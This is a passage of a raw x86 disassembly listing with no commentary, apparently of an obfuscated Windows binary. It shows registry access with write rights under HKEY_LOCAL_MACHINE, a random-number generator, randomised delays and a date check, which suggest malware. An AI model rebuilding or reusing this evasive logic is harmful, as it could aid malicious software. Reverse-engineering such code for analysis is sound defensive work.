					; DATA XREF: .text:off_9B9E44o
		mov	dword ptr [ebp-20h], 1


loc_9AC18B:				; CODE XREF: sub_9AD97C+1F20j
					; sub_9AD97C+786Bj
		push	dword ptr [ebp-1Ch]
		pop	eax
		cmp	eax, esi
		jz	loc_9B454B
		jmp	off_9BAADC
; END OF FUNCTION CHUNK	FOR sub_9AD97C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1B20


loc_9AC1A0:				; CODE XREF: sub_9B1B20+1746j
		mov	[ebp+var_330], 1


loc_9AC1AA:				; CODE XREF: sub_9B1B20+1740j
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+0Ch]
		pop	edx
		mov	eax, [ebp+var_32C]
		push	eax
		call	dword ptr [edx+14h]


loc_9AC1BE:				; CODE XREF: sub_9B1B20-D65j
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx+0Ch]
		pop	edx
		lea	eax, [ebp+var_32C]
		push	eax
		push	20006h
		push	0
		lea	ecx, [ebp+var_224]
		push	ecx
		push	80000002h
		call	dword ptr [edx+20h]
		test	eax, eax
		jnz	loc_9B193F
		jmp	loc_9AEF4C
; END OF FUNCTION CHUNK	FOR sub_9B1B20
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AE860


loc_9AC1FC:				; CODE XREF: sub_9AE860+2Aj
					; DATA XREF: .text:off_9B907Eo
		mov	[ebp+var_4], 0
		push	[ebp+arg_0]
		pop	eax


loc_9AC207:				; CODE XREF: sub_9AE860+276Aj
		push	[ebp+arg_4]
		pop	ecx
		mov	edx, ecx
		dec	ecx
		or	edx, edx
		mov	[ebp+arg_4], ecx
		jz	loc_9AF738
		jmp	loc_9B0FBC
; END OF FUNCTION CHUNK	FOR sub_9AE860
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AC220:				; CODE XREF: sub_9B1D80-109Fj
					; DATA XREF: .text:off_9BACE8o
		push	dword ptr [ebp-2040h]
		pop	esi
		test	esi, esi
		jz	loc_9AB0A2
		jmp	loc_9B46A4
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9AC234:				; CODE XREF: sub_9B649C-3351j
		movzx	ecx, byte ptr [esi+eax]
		mov	[ebp+var_2C], ecx
		inc	eax
		mov	[ebp+var_1C], eax
		test	cl, 0E0h
		jnz	loc_9ACCD8
		jmp	loc_9B4144
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9AC250	proc near		; CODE XREF: sub_9B1A08-4417p
					; sub_9B1F68-3EEAp ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 009AB264 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009AB2D8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009AD774 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AF174 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009B0F50 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 009B137C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B3680 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 009B393C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B5368 SIZE 000000B0 BYTES
; FUNCTION CHUNK AT 009B5528 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B594C SIZE 0000002A BYTES

		mov	edx, esi
		sub	ecx, ecx
		mov	[edx], ecx
		mov	[edx+4], ecx
		push	ebx
		mov	[edx+8], ecx
		push	ebp
		mov	[edx+0Ch], ecx
		not	eax
		push	edi


loc_9AC264:				; CODE XREF: sub_9AC250-F76j
					; sub_9AC250+CEj ...
		push	15A4E35h
		pop	ecx
		mul	ecx
		add	eax, 1
		adc	edx, 0
		xor	[esi], dx
		mov	edx, ecx
		mul	edx
		add	eax, 1
		adc	edx, 0
		shr	edx, 1
		xor	[esi+4], dx
		mul	ecx
		add	eax, 1
		adc	edx, 0
		shr	edx, 2
		xor	[esi], dx
		mov	edx, ecx
		mul	edx
		add	eax, 1
		adc	edx, 0
		shr	edx, 3
		xor	[esi+4], dx
		mul	ecx
		add	eax, 1
		adc	edx, 0
		shr	edx, 4
		xor	[esi], dx
		push	ecx
		pop	edx
		mul	edx
		add	eax, 1
		adc	edx, 0
		shr	edx, 5
		xor	[esi+4], dx
		mul	ecx
		add	eax, 1
		adc	edx, 0
		shr	edx, 6
		xor	[esi], dx
		push	ecx
		pop	edx
		mul	edx
		add	eax, 1
		adc	edx, 0
		shr	edx, 7
		xor	[esi+4], dx
		mul	ecx
		add	eax, 1
		adc	edx, 0
		shr	edx, 8
		xor	[esi], dx
		mov	edx, ecx
		mul	edx
		add	eax, 1
		adc	edx, 0
		shr	edx, 9
		xor	[esi+4], dx
		mov	edi, [esi]
		mov	ebx, 1
		mov	edx, edi
		shr	edx, 5
		mov	ecx, edx
		and	ecx, 1Fh
		shl	ebx, cl
		shr	edx, 5
		test	dword_9BA4E8[edx*4], ebx
		jnz	loc_9AC264
		jmp	loc_9B3680
sub_9AC250	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AC32C	proc near		; CODE XREF: sub_9AD11C-1801p
					; sub_9ABD30+19p ...

var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 009AB488 SIZE 00000061 BYTES
; FUNCTION CHUNK AT 009ABABC SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009AC35C SIZE 00000023 BYTES
; FUNCTION CHUNK AT 009AC5F8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009AD0F8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009AD280 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 009ADE10 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 009AEF90 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009B0708 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009B3DA4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009B4124 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009B5034 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B5E20 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009B61AC SIZE 00000011 BYTES

		mov	ecx, [esp+arg_0]
		sub	esp, 314h
		push	ebx
		push	ebp
		push	esi
		mov	esi, eax
		and	esi, 8
		push	edi
		mov	edx, 1
		jz	loc_9B0710
		jmp	loc_9B0708
sub_9AC32C	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9AC350:				; CODE XREF: sub_9AC6DC+4E9Fj
		mov	eax, 64h
		jmp	loc_9B004C
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC32C


loc_9AC35C:				; CODE XREF: sub_9AC32C+2C6Fj
		mov	ecx, dword_9BCB74
		mov	edx, [ecx+10h]
		lea	eax, [esp+324h+var_104]
		push	eax
		push	esi
		call	dword ptr [edx+58h]
		test	eax, eax
		jz	loc_9AD0FB
		jmp	off_9B87AC
; END OF FUNCTION CHUNK	FOR sub_9AC32C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AC380:				; CODE XREF: sub_9B1A08-43DBj
		call	sub_9B45AC
		sub	edx, edx
		push	64h
		pop	ecx
		div	ecx
		or	edx, edx
		jnz	loc_9B351C
		jmp	off_9B9785
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3150


loc_9AC39C:				; CODE XREF: sub_9B3150-45CCj
		mov	ecx, [ebx]
		cmp	ecx, 340h
		jbe	loc_9AEFA3
		jmp	loc_9B0094
; END OF FUNCTION CHUNK	FOR sub_9B3150
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9AC3B0:				; CODE XREF: sub_9B649C-55C0j
		xor	ebx, ebx
		mov	bx, [esi+8]
		mov	eax, 0Ah
		mov	[ebp+var_28], ebx
		test	bl, 8
		mov	[ebp+var_1C], eax
		jz	loc_9B329E
		jmp	loc_9B3298
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9AC3D0:				; CODE XREF: sub_9AC6DC+47j
					; sub_9AC6DC+74B2j
		mov	dword_9BBD10, ebx
		mov	dword_9BBD14, ebx
		mov	eax, ebx


loc_9AC3DE:				; CODE XREF: sub_9AC6DC-BCDj
		push	dword_9BBD1C
		pop	edi
		cmp	ebx, edi
		jb	loc_9ABAA4
		jmp	off_9B91CC
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B03E8


loc_9AC3F4:				; CODE XREF: sub_9B03E8-4A4j
					; DATA XREF: .text:off_9B89A2o
		mov	edx, dword_9BF380
		or	edx, 4
		mov	word ptr dword_9BF380, dx


loc_9AC404:				; CODE XREF: sub_9B03E8-4AAj
					; sub_9B03E8+52DAj
		call	sub_9B562C
		mov	word ptr dword_9BF388, ax
		or	esi, 0FFFFFFFFh
		mov	dword_9BF390+2,	esi
		mov	word ptr dword_9BF394+2, 0
		mov	word_9BF398, si
		push	9
		mov	edx, 9BF38Ah
		mov	ecx, 4
		call	sub_9B4480
		and	eax, eax
		jnz	loc_9AF0F0
		jmp	loc_9AF0D4
; END OF FUNCTION CHUNK	FOR sub_9B03E8
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AC448	proc near		; CODE XREF: sub_9B3408-7CD1p
					; sub_9B5480:loc_9AB858p ...

; FUNCTION CHUNK AT 009B5928 SIZE 00000011 BYTES

		test	eax, eax
		jz	nullsub_6
		jmp	off_9BABE7
sub_9AC448	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AC458:				; CODE XREF: sub_9B1D80-55DFj
		push	dword ptr [ebp-2040h]
		pop	eax
		test	eax, eax
		jz	loc_9AE945
		jmp	off_9BA4E1
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 10h
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	off_9BAD92
		call	dword ptr [ecx+68h]
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B36E8


loc_9AC484:				; CODE XREF: sub_9B36E8+1C56j
		or	esi, 80000000h
		mov	[ebp-1Ch], esi


loc_9AC48D:				; CODE XREF: sub_9B36E8+58j
					; sub_9B36E8+1C50j
		test	esi, 7FFFFFFFh
		jz	loc_9ACE6D
		jmp	loc_9ADF98
; END OF FUNCTION CHUNK	FOR sub_9B36E8
; ---------------------------------------------------------------------------
		align 10h
		push	edi
		mov	ecx, 40h
		mov	edi, edx
		sub	eax, eax
		rep stosd
		stosw
		pop	edi
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AC4B0:				; CODE XREF: sub_9B0930-23F5j
					; DATA XREF: .text:off_9BAF5Bo
		push	off_9B979B
		mov	eax, [eax]
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		mov	[edx+84h], eax
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	eax
		push	dword ptr [eax+84h]
		pop	ecx
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AC0EC
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9AC4E8:				; CODE XREF: sub_9AF25C+6E08j
					; DATA XREF: .text:off_9BAF0Eo
		pop	edx
		call	sub_9B1B20
		push	5
		push	4
		pop	ecx
		mov	edx, off_9B9076
		call	sub_9B1B20
		mov	ecx, off_9B9844
		call	sub_9B5480
		mov	dword_9BBE3C, esi
		mov	[ebp+8], ebx
		call	sub_9AFF64
		lea	ecx, [ebp+8]
		call	sub_9B5480
		jmp	loc_9B33DB
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B5904


loc_9AC524:				; CODE XREF: sub_9B5904-59DEj
		lea	edx, [esi+esi*4]
		shl	edx, 3
		mov	dword_9BEC1C[edx], 1
		mov	dword_9BEC2C[edx], ebx
		mov	dword_9BEC30[edx], edi
		push	ebx
		pop	eax
		call	sub_9B327C
		cmp	esi, 0FFFFFFFFh
		mov	dword_9BEC28[edx], eax
		jz	loc_9B42FE
		jmp	off_9BADF0
; END OF FUNCTION CHUNK	FOR sub_9B5904
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9AC55C:				; CODE XREF: sub_9ADDA4:loc_9B1C08j
					; DATA XREF: .text:009B2B20o
		mov	ecx, [ebp-278h]
		mov	eax, ecx
		cdq
		mov	edi, eax
		xor	edi, edx
		sub	edi, edx
		push	dword ptr [ebp-27Ch]
		pop	esi
		mov	eax, esi
		cdq
		xor	eax, edx
		sub	eax, edx
		cmp	eax, edi
		push	esi
		pop	eax
		jl	loc_9B2262
		jmp	loc_9B2260
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AC588:				; CODE XREF: sub_9B0930+7Fj
		push	off_9B92FC
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		mov	ecx, [edx+10h]
		mov	[ecx+60h], eax
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+10h]
		pop	edx
		push	dword ptr [edx+60h]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B88A6
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AC5C0:				; CODE XREF: sub_9B63D8-A9C2j
					; sub_9B63D8-986Aj ...
		mov	ebx, [ebp-2128h]
		push	dword ptr [ebp-2124h]
		pop	ecx


loc_9AC5CD:				; CODE XREF: sub_9B63D8-9ADEj
					; sub_9B63D8-80E5j
		cmp	ecx, 0FFFFFFFFh
		jz	loc_9AED08
		jmp	loc_9B1E18
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB040


loc_9AC5DC:				; CODE XREF: sub_9AB040+23j
		push	dword_9BEC20[eax]
		pop	ecx
		and	ecx, ecx
		jz	loc_9B6548
		jmp	loc_9B0D90
; END OF FUNCTION CHUNK	FOR sub_9AB040
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC32C


loc_9AC5F8:				; CODE XREF: sub_9AC32C+DD9j
					; sub_9AC32C+9E86j
		push	1
		pop	eax


loc_9AC5FB:				; CODE XREF: sub_9AC32C+DD3j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 314h
		retn	8
; END OF FUNCTION CHUNK	FOR sub_9AC32C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AC608:				; CODE XREF: sub_9B3864+1277j
					; DATA XREF: .text:off_9B9E9Bo
		mov	edx, [ebp+var_204C]
		test	byte ptr [edx+8], 8
		jz	loc_9AEB8C
		jmp	off_9B9139
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AF030


loc_9AC620:				; CODE XREF: sub_9AF030+37F2j
					; sub_9AF030+614Aj
		lea	ecx, [ebp+var_1C]
		call	sub_9B5480
		mov	edi, [ebp+var_1C]


loc_9AC62B:				; CODE XREF: sub_9AF030+233Fj
					; sub_9AF030+24F5j ...
		push	[ebp+arg_0]
		pop	ecx
		call	sub_9B35A0


loc_9AC634:				; CODE XREF: sub_9AF030+5Aj
					; sub_9AF030+45DAj ...
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	loc_9AE8BD
; END OF FUNCTION CHUNK	FOR sub_9AF030
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9AC640:				; CODE XREF: sub_9B1F68-3F19j
					; sub_9B1F68+2927j
					; DATA XREF: ...
		mov	[ebp-48h], esi
		push	dword ptr [ebp-54h]
		pop	ecx
		push	ecx
		mov	edx, esi
		call	sub_9B5CDC
		or	eax, eax
		jz	loc_9B40B4
		jmp	loc_9AE84C
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9AC65C:				; CODE XREF: sub_9ACEE8+5DB6j
					; sub_9ACEE8+65D9j
		mov	edx, dword_9BCB74
		mov	esi, [edx]
		call	sub_9B45AC
		push	15F90h
		pop	ecx
		xor	edx, edx
		div	ecx
		add	edx, 7530h
		push	edx
		call	dword ptr [esi+4]
		xor	ecx, ecx
		mov	[ebp-0DCh], ecx
		sub	eax, eax


loc_9AC687:				; CODE XREF: sub_9ACEE8-137Bj
		mov	[ebp-0D8h], eax
		cmp	eax, 93h
		jnb	loc_9AB937
		jmp	loc_9AFF00
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9AC6A0	proc near		; CODE XREF: sub_9B5100-9A42p
					; sub_9B4BF8-7012p ...

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 009AADB0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009B4DC4 SIZE 000000D3 BYTES

		sub	esp, 14h
		or	eax, 0FFFFFFFFh
		sub	eax, esi
		mov	[esp+14h+var_8], eax
		mov	eax, 1
		sub	eax, esi
		mov	[esp+14h+var_4], eax
		push	ebx
		mov	eax, 0FFFFFFFEh
		sub	bl, bl
		sub	eax, esi
		push	ebp
		push	[esp+1Ch+arg_0]
		pop	ebp
		mov	[esp+1Ch+var_10], 2
		lea	ecx, [esi+2]
		mov	[esp+1Ch+var_C], eax
		jmp	loc_9B4DC8
sub_9AC6A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AC6DC	proc near		; CODE XREF: sub_9ACEE8+3453p
					; sub_9ACEE8+40C8p

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009ABAA4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009ABAF0 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 009AC350 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 009AC3D0 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 009ACC74 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AF003 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 009AFC78 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009AFE48 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 009B003C SIZE 00000029 BYTES
; FUNCTION CHUNK AT 009B1568 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009B182C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009B1E04 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B24CC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B30B0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B35E8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B3A68 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009B3B8C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B3F44 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009B4D80 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009B5090 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B6188 SIZE 00000024 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B99AB
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	edx
		pop	edi
		mov	esi, ecx
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	off_9BAA6D
		call	dword ptr [ecx+18h]
		xor	ebx, ebx
		cmp	edi, ebx
		mov	[ebp+var_4], ebx
		jz	loc_9AC3D0
		jmp	off_9B974F
sub_9AC6DC	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-1Ch]
		pop	esi
; START	OF FUNCTION CHUNK FOR sub_9B36E8


loc_9AC73E:				; CODE XREF: sub_9B36E8-6874j
		mov	edx, dword_9BCB74
		mov	eax, [edx]
		push	off_9BADC8
		call	dword ptr [eax+1Ch]
		mov	ecx, [ebp-10h]
		mov	eax, esi
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B36E8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AC764:				; CODE XREF: sub_9B1D80+1EC6j
		push	201h
		pop	ecx
		div	ecx
		add	edx, 200h


loc_9AC772:				; CODE XREF: sub_9B1D80-66EEj
		mov	[ebp-2068h], edx
		push	edx
		lea	edx, [ebp-201Ch]
		push	edx
		push	ebx
		lea	ecx, [ebp-2058h]
		lea	edx, [ebp-204Ch]
		call	sub_9B174C
		push	dword ptr [ebp-204Ch]
		pop	eax
		and	eax, eax
		jz	loc_9B3EC4
		jmp	loc_9AC458
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9AC7A8:				; CODE XREF: sub_9B04A8+3EBBj
					; DATA XREF: .text:off_9B9151o
		push	2000h
		lea	edx, [ebp-401Ch]
		push	edx
		mov	eax, 0Ah
		lea	ecx, [ebp-402Ch]
		lea	ebx, [ebp-4044h]
		mov	edi, esi
		call	sub_9B0734
		mov	ebx, eax
		mov	[ebp-404Ch], ebx
		test	bl, 2
		jz	loc_9B433A
		jmp	loc_9B4330
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B57B4


loc_9AC7E4:				; CODE XREF: sub_9B57B4-22A0j
					; DATA XREF: .text:off_9BA707o
		push	off_9B9207
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		call	dword ptr [edx+4]
		and	eax, eax
		jz	loc_9B45EC
		jmp	off_9B91C8
; END OF FUNCTION CHUNK	FOR sub_9B57B4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3A74


loc_9AC804:				; CODE XREF: sub_9B3A74-8BB4j
					; DATA XREF: .text:off_9B9E28o
		mov	dword ptr [ebp-124h], 0
		jmp	loc_9B624E
; END OF FUNCTION CHUNK	FOR sub_9B3A74
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AC814:				; CODE XREF: sub_9B0930+37A3j
					; DATA XREF: .text:off_9B9946o
		mov	edx, [ebp-1Ch]
		mov	[ecx], edx
		push	off_9BAA83
		call	ebx
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx+4]
		mov	[edx], eax
		push	off_9B9EC0
		call	ebx
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+8]
		pop	edx
		mov	[edx], eax
		push	off_9B969B
		call	ebx
		mov	ecx, dword_9BCB74
		mov	edx, [ecx+0Ch]
		mov	[edx], eax
		push	off_9B9A8F
		call	ebx
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx+10h]
		mov	[edx], eax
		push	off_9B998A
		call	ebx
		mov	ecx, dword_9BCB74
		mov	edx, [ecx+14h]
		mov	[edx], eax
		push	offset aVersion	; "VERSION"
		call	ebx
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+18h]
		pop	edx
		mov	[edx], eax
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	dword ptr [ecx]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B89DD
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AEC20


loc_9AC8A8:				; CODE XREF: sub_9AEC20+4449j
					; DATA XREF: .text:off_9BAF9Fo
		push	off_9B9844
		pop	ecx
		call	sub_9B5480
		mov	dword_9BBE3C, esi
		mov	[ebp-228h], edi


loc_9AC8C0:				; CODE XREF: sub_9AEC20+4443j
		lea	ecx, [ebp-228h]
		call	sub_9B5480
		push	5
		mov	ecx, 4
		mov	edx, off_9B9076
		call	sub_9B4480
		and	eax, eax
		jnz	loc_9AB712
		jmp	loc_9AB70C
; END OF FUNCTION CHUNK	FOR sub_9AEC20
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AC8EC:				; CODE XREF: sub_9B63D8-80DFj
					; DATA XREF: .text:off_9BA158o
		push	0Ch
		pop	eax


loc_9AC8EF:				; CODE XREF: sub_9B63D8-30Bj
		mov	[ebp-212Ch], eax
		lea	edx, [ebx-4]
		cmp	eax, edx
		jg	loc_9AC5CD
		jmp	off_9BAAC4
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B46CC


loc_9AC908:				; CODE XREF: sub_9B46CC-57EDj
					; sub_9B46CC+9j
					; DATA XREF: ...
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	eax
		push	esi
		call	dword ptr [eax+30h]
		mov	esi, dword_9BCB98
		mov	dword_9BEC18, eax
		call	sub_9B227C
		add	eax, esi
		cmp	eax, 49614D80h
		pop	esi
		jnb	loc_9B2424
		jmp	off_9BA388
; END OF FUNCTION CHUNK	FOR sub_9B46CC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B161C


loc_9AC93C:				; CODE XREF: sub_9B161C+DDj
					; DATA XREF: .text:off_9B962Eo
		mov	eax, esi


loc_9AC93E:				; CODE XREF: sub_9B161C+D7j
		mov	ecx, dword_9BCB74
		mov	edx, [ecx+10h]
		push	0
		push	eax
		push	ebx
		push	edi
		call	dword ptr [edx+48h]
		and	eax, eax
		jle	loc_9AB904
		jmp	off_9BA98A
; END OF FUNCTION CHUNK	FOR sub_9B161C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AC960:				; CODE XREF: sub_9B0930-2804j
					; DATA XREF: .text:off_9BB00Eo
		push	off_9BAB84
		mov	eax, [eax]
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+10h]
		pop	edx
		mov	[edx+2Ch], eax
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+10h]
		pop	eax
		push	dword ptr [eax+2Ch]
		pop	ecx
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BA378
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B35A0


loc_9AC99B:				; CODE XREF: sub_9B35A0-24A1j
		mov	[ebp+var_4], 0FFFFFFFFh
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		push	off_9BA623
		call	dword ptr [eax+1Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B35A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9AC9C8:				; CODE XREF: sub_9ADDA4:loc_9B1C08j
					; DATA XREF: .text:009B2B24o ...
		lea	eax, [edi-1]
		mov	[ebp-20h], eax
		jmp	loc_9AED43
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B1134


loc_9AC9D7:				; CODE XREF: sub_9B1134+39j
		mov	[ebp+var_4], 0FFFFFFFFh
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		push	0
		call	dword ptr [edx+60h]
		xor	eax, eax
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
